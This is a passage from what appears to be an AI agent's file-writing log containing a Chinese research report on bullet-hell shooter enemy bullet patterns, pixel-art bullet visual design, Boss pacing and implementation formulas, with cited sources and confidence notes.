硬上限,防止无限生成(o3de-diorama 的 `Max Bullets` 硬上限设计)。\n- **批量渲染**:同一纹理的整组子弹一次 draw call(sprite batch / 合批)。\n- **碰撞**:每颗活子弹对目标碰撞层做一次重叠查询,目标层只放玩家/护盾几个碰撞体,几百颗子弹也便宜(o3de-diorama)。\n- **功能分层**:发射器(emitter)只管几何与碰撞,伤害/计分留在游戏侧(o3de-diorama 的分工建议)。\n\n---\n\n## 5. 像素风格下的弹幕视觉设计\n\n### 5.1 子弹形状库\n\n**核心原则**:'shmup 最核心的是弹幕的可读性(visibility)——在任何背景下都能被读出'(slynyrd Pixelblog 31)。形状即语义:**形状要匹配行为**(Sparen Guide A2 / Pixelblog 32:箭形弹配直线飞行才合理;追踪弹要旋转指向的运动方向)。\n\n**东方参考形状清单**(来源:thwiki《东方全弹型介绍与中弹判定分析》、maribelhearn 子弹类型表、Steam Touhou Bullets Model Pack):\n\n| 类别 | 形状 | 用途/特点 | 像素建议 |\n|---|---|---|---|\n| 圆形系 | 小玉(带圈/不带圈)、中玉、大玉(空心) | 通用基础弹;大玉实际判定仅中心空洞 | 6–10px 圆 + 描边;大玉用\"中空环\"贴图配透明中心 |\n| 粒状 | 点弹、米弹 | 点弹最小(<判定点),米弹为最高发弹量弹型之一 | 3–4px 点、8×4 米粒;米弹风速后有变短/判定变大差异 |\n| 尖形 | 针弹/箭弹/晶弹 | 速度感、方向感最强 | 长 8–14px 的三角/箭头,尖端高亮 |\n| 刀剑形 | 刀弹、剑弹、苦无 | 角色辨识度高(如咲夜/蕾米) | 剑身+尖端高光;前端无判定所以略细 |\n| 星光形 | 星弹(大/小)、光弹 | 华丽、魔法感;光弹判定偏大 | 4 角/5 角星 + 旋转动画 |\n| 特殊形 | 蝶弹、心弹、音符弹、钱弹、鳞弹(带\"翼\") | 角色主题、装饰 | 2 帧扇翅/跳动动画;鳞弹判定仅中心点 |\n| 火焰/流体 | 炎弹、水滴/滴弹 | 不规则 | 2–3 帧沸腾动画,\"躲前端\"语义 |\n| 激光 | 线段激光/射线激光、弧形激光 | 封路、视觉冲击 | 预警线(细)→ 实体(粗)2 帧过渡;线身描边 |\n\n**东方判定参考**(thwiki):多数弹\"判定 < 视觉\":大玉只有中心空洞有效、鳞弹只有中心点、剑弹前端无判定、激光靠预警线判定;当\"准激光/粥弹/核弹\"等判定欺诈弹出现时,需要玩家另行学习——像素风下**不要滥用判定欺诈**,默认\"所见即所判\"更公平。\n\n### 5.2 颜色编码\n\n- **基础原则**:子弹是屏幕上最鲜艳的元素;用高饱和色与背景拉开对比;颜色可传达属性/机制语义(slynyrd;note.com 3-3)。\n- **按属性/危险度编码**示例:\n - 红/橙 = 高速、致命、普通攻击;\n - 蓝/青 = 特殊判定、特殊移动(如反弹/曲线/激光);\n - 紫/白 = 装饰弹、非致命、演出用;\n - 绿 = 通常用于玩家/友方,避免敌方子弹大量用绿(语义混淆)。\n - (以上为常见实践惯例,属综合常识,非单一文献结论。)\n- **注意**:颜色要与背景/特效区分(note.com 3-3);考虑红绿色盲——**不要只靠红/绿区分要害**,同时用形状/大小/闪烁区分。\n- **同波同色**:同一次发射的子弹用同一色系,方便玩家把\"一波子弹\"当整体读(note.com 3-3:子弹类型或危险度不同则换色)。\n\n### 5.3 子弹大小与可躲避性\n\n- **判定点 vs 视觉**:自机 hitbox 远小于机绘(Cave 1px hitbox、DoDonPachi 子弹判定约直径 20%,来源 TimeExtension/Shmups Wiki);聚焦模式时在判定点处显示小红点让玩家能\"穿缝\"。\n- **子弹尺寸**:越大越可见但占屏;太小(<判定点)会\"消失\"且威胁感弱。建议子弹视觉 6–16px 常见、点弹 3–4px、激光不限长(slynyrd:子弹应大小多样,通常越大伤害越高)。\n- **缝隙设计**:安全缝隙宽度 = 玩家判定 + 子弹判定 + 玩家操作误差(微闪避用低速聚焦移动保证精度);设计时给缝隙留 ≥2–3px 冗余(工程经验法则)。\n- **密度 vs 大小**:子弹越小越能密(给留出视觉通道);同屏密度高时,小弹+弱判定(空心大玉)是\"看起来吓人、实际可穿\"的经典手法(thwiki 大玉示例)。\n\n### 5.4 发光/粒子效果在像素风格中的处理\n\n- **描边(outline)**:几乎必备,最好**双层描边**(亮色外圈+暗色内圈)以保证任何背景下可读;pixel 风格常用白描边与其它精灵(深描边)区分(slynyrd)。\n- **闪烁/双帧动画**:两帧交替即可做出\"呼吸/危险脉冲\";对比度越大越激烈,但太强会难以追踪快速弹(slynyrd)。\n- **发光**:像素风发光 = 亮色核心 + 1 层半透明同色光晕(加色混合 additive)或\"外扩 1px 亮描边\";避免真实 bloom 破坏像素感。\n- **粒子**:爆炸/火花/花瓣用\"范围+偏置\"的受控随机(note.com 2-12);粒子可叠加在弹幕上做纹理而不是独立威胁。\n- **脉冲缩放**:呼吸/脉动(expanding-contracting)可让呆滞的圆弹\"活起来\"(slynyrd 的 rotation/motion 建议)。\n- **消弹特效**:Boss 符卡击破瞬间,全屏子弹转为道具/星点,是东方色的标志性演出(Touhou Wiki Items:子弹在 Boss 攻击结束/未超时被打掉时转为星道具;消弹 cancel 亦为计分要素,maribelhearn 术语)。\n\n### 5.5 弹幕层级的视觉优先级\n\n绘制顺序(从底层到顶层,工程惯例 + Reddit shmupdev 设计 101 摘要:\"敌方子弹永远画在其它对象之上\"):\n\n1. 背景/场景层\n2. 地面敌人/可破坏物\n3. 道具、点数\n4. 玩家射击、爆炸特效(半透明)\n5. **敌方子弹(最高优先级之一,必须覆盖玩家机绘)**\n6. 玩家机绘 + 判定点指示(聚焦时)\n7. UI(血量/符卡名/时间)\n\n理由:玩家需要\"先读弹,再读自己\";若子弹被机绘/特效遮挡,就会产生\"判定杀(clipdeath)\"的挫败感(maribelhearn 术语)。\n\n### 5.6 像素风格弹幕设计清单(落地用)\n\n- [ ] 每种模式指定**1 个主色 + 1 种子弹形状**(勿两种都在变);\n- [ ] 危险弹用暖色+闪光,装饰弹用冷色/暗色调;\n- [ ] 所有敌方子弹带描边(建议双层),且在玩家机绘之上绘制;\n- [ ] 直线/追踪/曲线弹使用**方向性贴图**(箭头/针/刀)并随角度旋转;\n- [ ] 预警:激光先细线→粗线;分裂弹先停顿+蓄力闪光;大威力攻击让 Boss 本体发光(note.com 3-5);\n- [ ] 判定 < 视觉:默认简化判定(圆/椭圆),为\"大玉/鳞弹\"这类特殊判定做贴图注释(空心=可穿);\n- [ ] 像素分辨率建议在 320×180~640×360 区间定基准(slynyrd 建议 480×270),保证单个子弹仍有足够像素表达细节;\n- [ ] 每张符卡/阶段限定子弹色彩数(建议 2–3 色),避免像素噪点化。\n\n---\n\n## 6. 对本项目(像素风弹幕游戏)的落地建议汇总\n\n1. **词库起步**:环形 / 螺旋 / 扇形 / 直线(流+墙)/ 瞄准扇 / 受控随机 / 分裂弹 / 激光(带预警)/ 滞留结界,共 9 个基础模式,先用\"参数化发射器\"(Count/Aim/Spread/Spin/Speed/FireRate/Lifetime)实现(参照 o3de-diorama 的参数表),Boss 脚本只做\"模式序列 + 转场\",成本最低。\n2. **难度曲线**:按\"非符(轻)→ 符卡(重)→ 非符 → 符卡 …\"排布;每张符卡 = 1 主题图案 + 增强型变密 + 时限生存变体(一套图案三种玩法)。\n3. **公平性**:所有危险性一定要有预警(telegraph);缝隙 > 判定 + 冗余;颜色+形状双通道编码。\n4. **像素视觉**:双层描边 + 双帧闪烁 + 加色发光小光晕 + 同波同色 2–3 色限制 + 子弹层级最高。\n5. **性能**:对象池 + 合批 + 简化碰撞层(目标只放玩家/护盾),确保几百到几千颗子弹稳定 60FPS。\n\n---\n\n## 7. 信息来源与置信度说明\n\n按信息诚实原则,对所有关键结论标注来源与置信度:\n\n**(A)本轮调研直接引用的网页来源(置信度高,可复核):**\n\n1. npaka,《A Summary of 15 Beautiful Bullet Hell Patterns in Danmaku Shooters》(note.com)——15 种模式分类、组合配方、参数与设计 tips:https://note.com/npaka/n/n5d38b7d84173?hl=en\n2. Sparen's Danmaku Design Studio,Guide A2(角度类型、方向性子弹、心理过滤、danmaku vs 普通 STG)、Guide A3(墙的定义、微/宏闪避、Utsuho 例子):https://sparen.github.io/ph3tutorials/ddsga2.html 、ddsga3.html\n3. Danmokou(DMK 引擎)Tutorial 6(函数式运动系统、极坐标螺旋公式、性能数据、贝塞尔/参数方程讨论):https://dmk.bagoum.com/docs/articles/t06.html\n4. Wikipedia《符卡》(符卡规则、宣言、红利、时效/增强型、Last Spell/Last Word/Overdrive、难度差异、魔理沙魔法书分类):https://zh.wikipedia.org/zh-hans/符卡\n5. thwiki/东方吧Wiki《东方全弹型介绍与中弹判定分析》(小玉/米弹/点弹/大玉/光弹/针弹/鳞弹/剑弹/炎弹/激光/核弹/粥弹及判定细则):https://touhou8.thwiki.cc/index.php?edition-view-1281-1.html=\n6. maribelhearn 《Touhou Community Jargon》(子弹类型表、micro/macro dodge、safespot、streaming、misdirection、routing、cancel、clipdeath 等术语):https://maribelhearn.com/faq/jargon(含中文版)\n7. maribelhearn Beginner Guide(微/宏闪避、流弹引弹、safespot 举例 BOWAP 等):https://wiki.maribelhearn.com/wiki/Beginner_Guide\n8. slynyrd Pixelblog 31《Shmup Design Part 1》(像素子弹设计:颜色/大小/形状/描边/闪烁/旋转、分辨率建议);Pixelblog 32(外观与行为匹配):https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design\n9. Game Developer《Video Game Boss Design For Shmups》(Boss 五要素:难度/多样性/时长/回报/角色;健康条分段;Cave 例子):https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups\n10. SHMUP Workshop 03《Bullet Pattern Design》(模式角色:警告/位移/区域封锁/最终引导;slow escalation;微宏闪避;CAVE tracking 做法;Boss 设计目标):YouTube ArZRZSYICLo\n11. TimeExtension《CAVE Story: The History of DonPachi》(命中率 20% 判定、自爆弹、rank 系统、1px hitbox);Shmups Wiki《CAVE》词条(1px 判定、游戏清单):https://www.timeextension.com/features/cave-story-the-history-of-donpachi-the-shmup-series-that-changed-everything\n12. Forgotten Worlds《A guide to Danmaku Unlimited 3》(脚本化弹幕、Touhou 式轻/重阶段交替):https://www.forgottenworlds.net/bullet-hell-danmaku\n13. Zen of the SHMUP(DonPachi 系列=图案+记忆、Mushihimesama=快速集中火、Cave 组合):https://richardschupp.wordpress.com/tag/the-zen-of-the-shmup\n14. o3de-diorama《24-bullet-patterns.md》(Ring/Fan/Spiral 参数表、对象池、合批、碰撞层设计):https://github.com/nickschuetz/o3de-diorama/blob/main/Docs/howto/24-bullet-patterns.md\n15. Boghog's bullet hell shmup 101(bullet sealing、micro/macro dodge 补充):https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101\n16. Reddit r/shmupdev《BULLET HELL SHMUP DESIGN 101》(\"敌方子弹永远绘制在其他对象之上\"等原则,仅经搜索摘要获取,置信度中):https://www.reddit.com/r/shmupdev/comments/13w730k/\n17. 其它:Summer Engine(判定点/聚焦/擦弹术语)、Touhou Wiki Items(消弹转星道具)、Steam Touhou Bullets Model Pack(子弹形状清单)、Ted Lim《Day 49》(sin/cos 扇面公式)等。\n\n**(B)置信度说明:**\n\n- 上述 (A) 列来源中的具体论断:**我很确定**它们出自对应来源(可直接复核)。\n- \"经典游戏例子\"中标注为\"常识\"的条目(如\"东方各作螺旋遍地\"\"雅雅…\"),来自模型通用知识,**没有在本轮调研中逐条核实**,读者如需引用请自行在对应游戏攻略中确认。\n- \"像素建议\"\"设计检查表\"\"落地建议\"等小节为**基于上述来源的综合工程建议**(合理推断,非文献原文),置信度中上,请结合游戏实测调整。\n- 反弹弹(2.7)在东方系纵版弹幕中近乎缺席是**常识判断**;调研资料中未找到专门文献,如要使用建议先做原型验证。\n\n---\n\n## 附录 A:参考链接汇总\n\n- https://note.com/npaka/n/n5d38b7d84173?hl=en (15 种弹幕模式)\n- https://sparen.github.io/ph3tutorials/ddsga2.html / ddsga3.html (弹幕设计工作室指南)\n- https://dmk.bagoum.com/docs/articles/t06.html (Danmokou 运动函数哲学)\n- https://zh.wikipedia.org/zh-hans/符卡 (符卡系统)\n- https://touhou8.thwiki.cc/index.php?edition-view-1281-1.html= (东方全弹型介绍与判定分析)\n- https://maribelhearn.com/faq/jargon (东方社区术语与子弹类型)\n- https://wiki.maribelhearn.com/wiki/Beginner_Guide (躲避策略入门:微/宏闪避、引弹、安全点)\n- https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design (像素弹幕设计)\n- https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups (STG Boss 设计)\n- https://shmups.wiki/library/CAVE (CAVE 公司与其游戏)\n- https://www.timeextension.com/features/cave-story-the-history-of-donpachi-the-shmup-series-that-changed-everything (DonPachi 历史)\n- https://richardschupp.wordpress.com/tag/the-zen-of-the-shmup (Cave 弹幕风格对比)\n- https://www.forgottenworlds.net/bullet-hell-danmaku (Danmaku Unlimited 3 访谈)\n- https://github.com/nickschuetz/o3de-diorama/blob/main/Docs/howto/24-bullet-patterns.md (发射器实现与参数)\n- https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101 (bullet hell 设计 101)\n- https://www.youtube.com/watch?v=ArZRZSYICLo (SHMUP Workshop 03 弹幕模式设计)\n- https://www.youtube.com/watch?v=zEPgFaIpa6o (Boss 设计 Week 25:螺旋/双螺旋实现)\n- https://www.youtube.com/watch?v=To5rOl6pn08 (Boss 战设计:攻击前摇、防龟缩)\n- https://tedlim-65557.medium.com/day-49-bullet-hell-pattern-2d-space-shooter-series-c91e4eccad7c (sin/cos 扇面数学)\n- https://www.summerengine.com/ai-bullet-hell-maker (判定点/聚焦/擦弹/密度调参)\n\n*报告完*"}, "ts": 1787459605714}, {"type": "progress", "id": "call_221c64a46fc24b6eb696fcd8", "tool": "write_file", "status": "completed", "args": {"file_path": "research/bullet_patterns/bullet_pattern_research.md", "content": "# 弹幕射击游戏(STG / Bullet Hell)敌方弹幕模式调研报告\n\n> **调研目的**:为像素风格的弹幕射击游戏(STG / Bullet Hell)提供敌方弹幕(bullet pattern)设计的系统性参考。\n> **调研方式**:网络搜索 + 网页资料提取(来源见第 7 章)。\n> **调研时间**:2026-08-23\n> **交付目录**:`research/bullet_patterns/`\n\n---\n\n## 0. 摘要(TL;DR)\n\n- 弹幕(danmaku / 弾幕,字面义\"弹幕幕帘\",西方称 bullet hell / curtain fire)与普通 STG 的本质区别**不是子弹数量**,而是\"**整个屏幕都是弹幕的舞台**\"——大量子弹不是为了全部命中玩家,而是组成可观赏、可读、有图案(pattern)的\"幕帘\",玩家在其中寻找缝隙穿行。多数子弹在诞生之初就注定打不到玩家(Sparen's Danmaku Design Studio, Guide A2)。\n- 经典弹幕模式可用\"**规律 + 微扰**\"统一描述:先排布几何图案(环形、螺旋、扇形、直线、激光、网格等),再叠加少量可控随机(角度/速度抖动),并始终**以\"设计缝隙\"为核心**,而不是\"设计密度\"。\n- Boss 战的核心设计杠杆:**阶段(Phase/符卡)转换、节奏(轻/重交替与紧张-释放)、密度控制(难度曲线)、安全路径/安全点(safe zone/safespot/routing)、公平性信号(预警 telegraph)**。\n- 实现上只靠 5 个基础参数即可组合出绝大多数模式:**发射角度、子弹数量、发射间隔、子弹速度、加速度(角速度)**;曲线弹幕依赖角速度转向、极坐标/参数方程(如螺旋 `r=a·t, θ=b·t`)、贝塞尔曲线或正弦扰动。\n- 像素风格下,弹幕可读性(readability)压倒一切:**高饱和颜色 + 描边(尤其双层描边)+ 闪烁/呼吸动画 + 明确的子弹形状语义 + 绘制层级(敌方子弹永远最上层)**;并让判定(hitbox)远小于视觉尺寸。\n\n---\n\n## 1. 背景认知:弹幕射击与普通 STG 的区别\n\n| 维度 | 普通 STG | 弹幕射击(Bullet Hell) |\n|---|---|---|\n| 子弹目的 | 命中玩家 | 大量子弹作\"装饰 + 制造缝隙谜题\",很多子弹故意不打玩家 |\n| 屏幕利用 | 子弹从上方来袭 | 全屏都是舞台,子弹可从任何方向/任何规律出现 |\n| 判定 | 机体整体判定 | 微型判定点(hitbox),东方等游戏中判定远小于机绘大小 |\n| 玩家速度 | 较快 | 有\"低速聚焦模式\"(focus/slow mode)用于精确微调 |\n| 美学 | 战场感 | \"弹幕舞蹈\",图案本身有独立观赏价值 |\n\n关键概念:\n\n- **幕帘火(Curtain fire)**:'curtain fire'精确描述了弹幕的本质——用弹幕填满一片空间形成\"幕帘\",玩家面对的是\"图案\",而不是\"几发子弹\"(Sparen Guide A2)。\n- **判定点(Hitbox)**:子弹只有碰到自机中心的微小判定点才算命中。Cave 的《虫姬后传》《怒首领蜂大复活》甚至有 1 像素判定;DoDonPachi 系列子弹判定通常只占子弹直径约 20%(来源:TimeExtension CAVE 历史长文、Shmups Wiki CAVE 词条)。\n- **擦弹(Graze)**:子弹掠过判定点外围的\"擦弹判定圈\"得分,鼓励玩家贴着子弹走(Summer Engine、maribelhearn 术语表)。\n- **心理过滤(Mental filtering)**:高手玩家会自动忽略大量\"注定打不中自己\"的子弹(例如环形弹幕中飞向两侧/上方的子弹),只对逼近自己的弹道做出反应——这是弹幕\"装饰性子弹\"能成立的心理学基础(Sparen Guide A2)。\n\n---\n\n## 2. 经典弹幕模式分类\n\n> 本节以任务要求的 9 类为主干(2.1–2.9),然后在 2.10 补充调研中发现的其它常用模式。每个模式给出:**名称 / 视觉描述 / 数学与实现要点 / 经典游戏例子 / 像素风格设计建议**。\n> 注:任务要求的 9 类与社区常用分类(如 note.com 归纳的 15 种模式)并非一一对应,本报告将两类分类体系做了映射与合并。\n> 经典例子部分,凡未在本轮调研资料中明确出现的,均标注为\"常识(通用认知)\",置信度说明见第 7 章。\n\n### 2.1 环形弹幕(Ring / Circle Burst,日语\"轮弾/円形弾\")\n\n- **视觉描述**:从中心点向 360° 均匀放射一圈子弹,呈涟漪/烟花/魔法阵状。变化包括:扩展环(从小半径环向外扩)、收缩环、多重同心环、旋转环、分裂环(飞到中途爆成更多子弹)。(note.com 2-8 Rings)\n- **数学与实现要点**:\n ```\n n = 子弹数; base = 基准角\n for i in 0..n-1:\n angle = base + i * (360° / n)\n vx = speed * cos(angle); vy = speed * sin(angle)\n ```\n 若每帧/每次发射让 `base` 增加固定角,环就\"旋转/缭乱\"起来。(o3de-diorama 文档:Ring 参数含 Count、Aim、Speed、Fire Rate、Spin Per Shot;Ted Lim / GameMaker 论坛同款公式)\n- **经典游戏例子**:东方系列几乎所有 Boss 都有环弹(常识);琪露诺的冰符「Icicle Fall -Easy-」的冰柱环是知名的入门环弹(Sparen Guide A2 以其为例讲述固定角);环形常用作 Boss 战开场或\"轻阶段\"的通用压迫弹(note.com 入门 Boss 组合)。\n- **像素风格设计建议**:环弹数量多且对称,适合用**小尺寸圆形弹**(6–8px)保证低视觉占用;用\"带圈的小玉\"(外圈描边)区分装饰环和危险环;旋转环可给子弹加 1–2 帧的旋转动画增强\"轮转感\"。\n\n### 2.2 螺旋弹幕(Spiral)\n\n- **视觉描述**:发射角连续旋转,子弹留下螺旋尾迹,像银河/风车/玫瑰。变体:单螺旋、多螺旋、顺逆时针双螺旋交叉、不同色相/速度的螺旋。(note.com 2-2 Spiral)\n- **数学与实现要点**:\n - 离散式:每次发射一个环,环的基准角 += 每发旋转角(Spin Per Shot),即\"每发转一点\"(o3de-diorama)。\n - 参数方程(连续式):极坐标 `r = a·t`、`θ = b·t`,则 `x = cx + r·cos(θ)`,`y = cy + r·sin(θ)`(来源:Danmokou Tutorial 6 的螺旋示例 `polar(2*t, 80*t)`)。\n - 替代实现:让发射器父对象缓慢旋转(Ted Lim——\"空对象 + 3 个子发射点 + 旋转父对象即可做出螺旋\")。\n- **经典游戏例子**:螺旋是弹幕最经典的高性价比模式,\"低子弹数也能很华丽\"(note.com);东方各作螺旋遍地(常识),双反向螺旋常作中后期难度(YouTube Week 25 Boss 设计演示了\"顺+逆双螺旋\"Boss 阶段)。\n- **像素风格设计建议**:螺旋强调\"轨迹\",适合用**细长子弹(针弹/米弹/箭弹)**来勾勒弧线;或给圆形弹加方向性贴图(箭头形)让旋转方向可读(Sparen Guide A2 说明了\"有方向性的子弹图形\"对旋转/转向弹幕的可读性价值)。\n\n### 2.3 扇形弹幕(Fan / Wedge)\n\n- **视觉描述**:在一个方向张开成扇面。窄扇高压、宽扇适合场景演出;朝玩家发射时进攻性强(\"瞄准开火\"的观感),固定方向发射则可控、适合道中演出。(note.com 2-3 Fan)\n- **数学与实现要点**:\n ```\n n = 子弹数; spread = 扇形总张角; aim = 瞄准角\n step = spread / (n - 1)\n start = aim - spread / 2\n for i in 0..n-1:\n angle = start + i * step\n ```\n (来源:Unity 教程(Unity Discussions 搜索片段)与 Ted Lim 的扇面公式——\"startAngle = target - halfSpread / 2,endAngle = target + halfSpread/2,逐颗递增 step\")\n- **经典游戏例子**:几乎所有 STG 的追踪射击采用\"瞄准玩家的扇\"(aimed fan);东方道中妖精惯用(常识);DoDonPachi 等 Cave 游戏的\"concentrated fire\"即窄/快扇(来源:Zen of the SHMUP 对 Cave 的归类)。\n- **像素风格设计建议**:扇弹适合 7–11 颗一组的中型子弹(如 10px 小玉),发射瞬间用**同一色系**表示同一波;窄扇用暖色(红/橙)暗示高风险,宽装饰扇用冷色。\n\n### 2.4 直线弹幕(Line / Stream / Wall)\n\n- **视觉描述**:\n - **流弹(Stream)**:从一处连续射出单发子弹,形成一条密集弹流,玩家\"引弹\"时可把它带成一条可利用的空隙带(maribelhearn 术语:streaming / 引弹)。\n - **墙(Wall)**:同排/同列子弹连成不可穿越的\"墙\",迫使玩家整体绕过(宏闪避)或在墙隙中微闪避。Sparen Guide A3 的定义:\"墙 = 玩家无法从中间穿过的子弹群/编队\"。\n- **数学与实现要点**:连续发射(fire rate 控制密度)+ 固定方向;若每发角度做正弦微扰,直线流会变成\"S 形波流\"(Unity 论坛示例:0°→180° 递增、180°→360° 递减即正弦半波)。\n- **经典游戏例子**:东方\"针山/米弹雨\"类密集直线(常识);Sparen 用 Utsuho(地灵殿 阿空)的符卡组合说明微/宏闪避结合的动态弹幕(Sparen Guide A3)。\n- **像素风格设计建议**:直线弹适合**针弹/米弹/箭弹**(细长、方向明确);流弹用同色细弹,墙用同色+同速保证\"墙\"的视觉连续性;给子弹加方向性贴图可让玩家立即读出弹道(Sparen Guide A2)。\n\n### 2.5 随机散射(Random Spread)\n\n- **视觉描述**:子弹角度/速度在随机范围内散射,像火花、星尘、碎片。纯随机易显得\"无设计\"且不公平,优秀做法是给角度、速度、密度赋予\"范围与偏置\"(bias),即受控随机。(note.com 2-12 Particles;Sparen Guide A2 对随机角的负面评价)\n- **数学与实现要点**:\n - 在固定规律上叠加小随机:\"受控随机看起来更像弹幕\"(note.com 3-1):\n ```\n angle = base + i * even_angle + sin(t) * 波动幅度 # 规律性\n speed = base_speed + random(-0.2, 0.2) # 微扰\n ```\n - 随机角度也可用作\"种子角度\":例如连续发射环形弹时,每轮用一个随机初始角,避免盲区/避免每轮覆盖完全相同的路径(Sparen Guide A2)。\n- **经典游戏例子**:东方的\"小虫型符卡\"(《魔理沙的魔法书》分类,子弹细碎、颜色丰富,多为弱妖怪用,来源:Wikipedia 符卡)与妖精群随机弹(常识);Cave 的 Mushihimesama 强调\"更快、更集中\"的火力,其随机感更强(来源:Zen of the SHMUP / Reddit 讨论)。\n- **像素风格设计建议**:随机弹适合**点弹/星弹/米粒弹**等小尺寸,配合\"闪烁\"动画强调危险性;随机弹颜色可用亮白/黄等\"危险信号色\";注意与背景对比度(slynyrd)。\n\n### 2.6 追踪弹幕(Homing / Aimed)\n\n- **视觉描述**:\n - **瞄准弹(Aimed)**:开火瞬间朝玩家当前位置瞄准(可加扇形成\"瞄准扇/散弹\"),考验玩家\"引弹\"(misdirection)能力(note.com 2-4、maribelhearn 术语)。\n - **追踪弹(Homing)**:飞行中持续转向玩家。转向性能越弱越容易躲,追求\"稍微弯曲\"而非\"全程咬死\",反而更美观(note.com 2-13)。\n- **数学与实现要点**:\n ```\n desired = atan2(player.y - bullet.y, player.x - bullet.x)\n turn = clamp(desired - bullet.angle, -maxTurnRate*dt, +maxTurnRate*dt)\n bullet.angle += turn # 限速转向(turning performance)\n # 可选:加速度朝玩家、停顿后重新加速、分裂后重新锁定(note.com 2-13 变体)\n ```\n- **经典游戏例子**:瞄准弹是 Cave\"concentrated fire / tracking\"风格的基石(来源:SHMUP Workshop 03 YouTube——\"tracking and spread gates, 经典 CAVE 做法\");东方 Boss 的瞄准时间差/瞄准散弹(常识)。追踪弹在 DoDonPachi 的\"自爆弹\"(suicide bullets,击破敌人释放的追踪自机弹)中大量出现(来源:TimeExtension)。\n- **像素风格设计建议**:追踪弹要用**明显的方向性贴图**(箭头/小刀/蝴蝶等)且贴图随角度旋转,否则玩家读不出它在转弯(Sparen Guide A2:\"无方向性贴图的圆弹不传达转向\")。用发光/描边强调\"这只子弹会追我\"。\n\n### 2.7 反弹弹幕(Bounce / Ricochet)\n\n- **视觉描述**:子弹撞到屏幕边缘/墙壁后反弹继续飞行,轨迹呈折线。属于\"轨迹型\"弹幕中较少见的一类。\n- **数学与实现要点**:碰撞边缘时反射角度:`angle = π - angle`(左右边)或 `angle = -angle`(上下边),或对速度向量做分量取反;可加转数上限让子弹弹几次后消失。\n- **经典游戏例子**:相比东方式纵版弹幕(子弹通常出屏即消),反弹弹更常见于街机/横版与部分同人弹幕(如某些 Cave 之外的 STG);东方中近乎**没有**常规反弹弹(常识判断,未见调研资料佐证其广泛存在)。⚠️ 这属于\"相对少见\"的类型,若要在本项目中使用,建议作为特色武器或 Boss 特殊阶段引入,而非基础词库。\n- **像素风格设计建议**:反弹弹适合圆润的**圆形/椭弹**(避免方向性贴图在反弹瞬间的旋转跳变违和);反弹瞬间加 1–2 帧\"压缩-回弹\"动画或火花粒子,强化物理感;用预警或颜色提示\"它会弹\"。\n\n### 2.8 滞留弹幕(Static / Lingering)\n\n- **视觉描述**:子弹停留在场上形成持续障碍,或极慢速移动封锁区域。包括:静止弹墙、悬浮使魔、地面/空中持续存在的弹(laser 也可视为线状滞留)。作用是**区域封锁(area denial)**:封住一部分屏幕,为后续弹幕做铺垫,或堵住之前的逃逸路线(SHMUP Workshop 03:area denial patterns 的定义;Boghog:bullet sealing、ceasefire zone 等反挫败机制)。\n- **数学与实现要点**:寿命(lifespan)拉长 + 速度降到 ~0;或通过\"分裂条件=凝固\"实现\"飞行到某点后停住\"。可让滞留弹周期性闪烁(半透明 + 呼吸)提示\"仍在威胁中\"。\n- **经典游戏例子**:东方\"压迫型符卡\"(《魔理沙的魔法书》:限制自机移动范围的符卡,来源 Wikipedia,如灵梦的梦符「二重结界」以弹幕构成双重结界限制移动——B 站文章以它为例);激光墙封路也是常见形式(note.com 2-14,激光\"clearly block off parts of the screen\")。\n- **像素风格设计建议**:滞留弹必须与\"会动的危险弹\"在视觉上区分——建议**低频闪烁 + 半透明 + 固定描边**;或用\"发光的柱子/结界\"图形(如结界/棱镜形状)表示区域阻碍物。静止弹用冷色系(蓝/紫),活动弹用暖色系,形成语义分离。\n\n### 2.9 组合弹幕(Compound Patterns)\n\n- **视觉描述**:把多个模式叠加。例如\"螺旋铺满屏 + 瞄准弹逼玩家移动\",或\"展开环 + 中途分裂 + 激光堵路\"。(note.com 2-15 Composite)\n- **设计原则**(note.com 3-2 / 2-15):\n - 组合时**指定一个主模式**,其余为伴奏,避免信息过载。\n - 元素越多,越要依赖颜色编码、预警、缝隙设计来保证可读性。\n - 组合要形成\"分工\":背景压迫 + 前景逼迫(如中间难度组合:旋转全向弹 + 上方落雨 + 周期性瞄准弹)。\n- **经典游戏例子**:东方高阶符卡几乎都是组合(常识,如多层螺旋+分裂环+预警激光即 note.com 高级 Boss 推荐组合);阿空(地灵殿)的符卡是微/宏闪避结合的著名组合(Sparen Guide A3)。\n- **像素风格设计建议**:组合弹幕在像素风下最容易\"糊成一团\"。建议:每个模式用**不同主色**;不同模式用**不同子弹形状**(圆=压迫、针=直线、星=装饰/特殊);层与层之间拉开速度差,让玩家能分层读取。\n\n### 2.10 调研补充的常用模式\n\n以下模式来自 note.com 的《15 种经典弹幕模式》与 Sparen 指南,按需并入本项目词库:\n\n| 模式 | 视觉/玩法特征 | 要点 | 像素建议 |\n|---|---|---|---|\n| **波型/幕帘(Wave/Curtain)** | 正弦波排列的子弹带,像波浪/极光/瀑布,容易与 BGM 节奏联动 | 重点是\"缝隙的流动感\"而非子弹本身;`y = a·sin(ωt + φ)` 排布 | 用细长米弹/针弹沿正弦排布,同色系渐变 |\n| **网格(Grid)** | 横竖规则排列,钻石/晶体状,几何美且缝隙可读;纯网格易单调,加大小的速度差/局部缺口 | 强规律、易读、密度↑难度↑ | 用规则小圆弹 + 网格闪烁/错位动画 |\n| **花状(Floral)** | 对称花瓣排列(5/6/8 瓣),华丽,适合符卡演出 | 对称越高越精致;过度均匀会单调,周期性转相位 | 花瓣用两类颜色交替(瓣=亮、蕊=暗)强化图案 |\n| **星形/多边形(Star)** | 强调特定顶点(5/6/8 向)的星形放射 | 少弹星形也醒目,适合元素/性格表达 | 用星形贴图子弹 + 旋转动画 |\n| **交叉(Intersection)** | 多股弹流交叉如编织/光流;视觉美但缝隙易被切断 | 关注\"玩家可走的路径\"而非交点;调速度/密度/交叉角 | 两条交叉流用互补色(如青 vs 品红)|\n| **落雨(Rain)** | 自上而下倾泻,天然适合道中演出 | 全随机易不公平,保持一定规律美观 | 竖直方向子弹用垂直长条贴图或水滴形 |\n| **粒子(Particles)** | 火花/星尘式散落,适合爆炸、花瓣、魔法粒子、Boss 登场 | 给角度/速度/密度一个\"范围+偏置\" | 小尺寸 + 闪烁,可叠加在其他弹幕上做纹理 |\n| **激光(Laser)** | 线/带状攻击,视觉冲击强,可明确封路 | 